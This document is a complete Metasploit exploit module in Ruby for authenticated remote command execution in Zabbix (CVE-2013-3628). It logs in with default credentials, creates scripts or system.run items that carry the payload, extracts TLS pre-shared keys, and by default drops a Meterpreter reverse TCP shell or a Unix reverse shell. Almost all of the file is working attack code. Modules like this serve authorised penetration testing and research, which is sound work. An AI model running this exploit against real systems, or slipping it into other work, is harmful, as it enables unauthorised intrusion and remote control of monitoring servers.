## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Retry include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Zabbix Authenticated Remote Command Execution', 'Description' => %q{ ZABBIX allows an administrator to create scripts that will be run on hosts. An authenticated attacker can create a script containing a payload, then a host with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host. This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry ', # Discovery / msf module 'lap1nou ' # Update of the module / Item technique ], 'References' => [ ['CVE', '2013-3628'], ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'] ], 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ], 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => 'curl', 'MeterpreterTryToFork' => true, 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' } } ] ], 'DisclosureDate' => '2013-10-30', 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']), OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']), OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']), OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']), OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]), OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120]) ] ) end def check auth_token = login zabbix_version = get_version str = rand_text_alpha(18) script_id = create_script(auth_token, zabbix_version, "echo #{str}") group_id = find_group_id(auth_token) host_id = create_host(auth_token, group_id) resp = execute_script(auth_token, host_id, script_id) if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def send_json_api_request(method, auth_token = nil, params = {}) resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'), 'data' => { 'auth' => auth_token, 'id' => 1, 'jsonrpc' => '2.0', 'method' => method, 'params' => params }.to_json, 'ctype' => 'application/json-rpc' }) fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil? json_document = resp.get_json_document fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty? return json_document end def get_interfaceid(auth_token, host_id) params = { 'hostids' => host_id, 'output' => 'extend' } resp = send_json_api_request('hostinterface.get', auth_token, params) return resp['result'][0]['interfaceid'] end def create_item(auth_token, host_id, payload) interface_id = get_interfaceid(auth_token, host_id) item_title = rand_text_alpha(18) @item_title = item_title print_status("Creating an item called #{item_title}") params = { 'delay' => 30, 'hostid' => host_id, 'interfaceid' => interface_id, 'key_' => "system.run[#{payload},nowait]", 'name' => item_title, 'type' => 0, 'value_type' => 3 } send_json_api_request('item.create', auth_token, params) vprint_good('Successfully created an item') end def create_script(auth_token, zabbix_version, payload) script_title = rand_text_alpha(18) @script_title = script_title print_status("Creating a script called #{script_title}") params = { 'command' => payload, 'name' => script_title, 'type' => 0 } if zabbix_version >= Rex::Version.new('5.4.0') params[:scope] = 2 end resp = send_json_api_request('script.create', auth_token, params) script_id = resp.dig('result', 'scriptids', 0) @script_id = script_id return script_id end def execute_script(auth_token, host_id, script_id) print_status('Executing the script...') retry_until_truthy(timeout: datastore['TIMEOUT']) do params = { 'scriptid' => script_id.to_s, 'hostid' => host_id.to_s } resp = send_json_api_request('script.execute', auth_token, params) next if !resp['error'].nil? return resp end end def find_tls_psk(auth_token) print_status('Searching for a TLS PSK (pre-shared key)...') resp = send_json_api_request('host.get', auth_token) # Searching for a PSK resp['result'].each do |host| next if host['tls_psk'].to_s.strip.empty? print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...") datastore['TLS_PSK'] = host['tls_psk'] datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity'] break end end def exploit_script(auth_token, zabbix_version) case target['Type'] when :unix_cmd script_id = create_script(auth_token, zabbix_version, payload.encoded) when :linux_dropper script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join) end group_id = find_group_id(auth_token) host_id = create_host(auth_token, group_id) execute_script(auth_token, host_id, script_id) end def exploit_item(auth_token) group_id = find_group_id(auth_token) if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == '' find_tls_psk(auth_token) end host_id = create_host(auth_token, group_id) case target['Type'] when :unix_cmd create_item(auth_token, host_id, payload.encoded) when :linux_dropper create_item(auth_token, host_id, generate_cmdstager.join) end end def find_group_id(auth_token) print_status('Getting a valid group id...') params = { 'output' => 'extend' } resp = send_json_api_request('hostgroup.get', auth_token, params) group_id = resp.dig('result', 0, 'groupid') @group_id = group_id if !group_id.nil? vprint_good('Successfully got a valid groupid') end return group_id end def create_host(auth_token, group_id) host = rand_text_alpha(18) @host_name = host print_status("Creating a host called #{host}") params = { 'groups' => [ { 'groupid' => group_id } ], 'host' => host, 'interfaces' => [ { 'dns' => '', 'ip' => '127.0.0.1', 'main' => 1, 'port' => '10050', 'type' => 1, 'useip' => 1 } ] } if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != '' params[:tls_connect] = 2 params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY'] params[:tls_psk] = datastore['TLS_PSK'] end resp = send_json_api_request('host.create', auth_token, params) host_id = resp.dig('result', 'hostids', 0) @host_id = host_id vprint_good('Successfully created an host') return host_id end def login params = { 'password' => datastore['PASSWORD'], 'user' => datastore['USERNAME'] } resp = send_json_api_request('user.login', nil, params) auth_token = resp['result'] @auth_token = auth_token if !auth_token.nil? print_good('Successfully logged in') end return auth_token end def get_version resp = send_json_api_request('apiinfo.version') version = Rex::Version.new(resp['result']) @zabbix_version = version if !version.nil? vprint_status("Zabbix version number #{version}") end return version end def exploit version = get_version auth_token = login if datastore['TECHNIQUE'] == 'script' exploit_script(auth_token, version) elsif datastore['TECHNIQUE'] == 'item' exploit_item(auth_token) end end def delete_host(auth_token, host_id, host_name, zabbix_version) params = {} if zabbix_version < Rex::Version.new('2.2.0') params = [ { 'hostid' => host_id } ] else params = [ host_id ] end resp = send_json_api_request('host.delete', auth_token, params) if !resp['result'].nil? vprint_good("Successfully deleted '#{host_name}' host") else print_warning("Couldn't delete the host '#{host_name}'") end end def delete_script(auth_token, script_id, script_title) params = [ script_id ] resp = send_json_api_request('script.delete', auth_token, params) if !resp['result'].nil? vprint_good("Successfully deleted '#{script_title}' script") else print_warning("Couldn't delete the script '#{script_title}'") end end def cleanup return unless @host_id delete_host(@auth_token, @host_id, @host_name, @zabbix_version) return unless @script_id delete_script(@auth_token, @script_id, @script_title) ensure super end end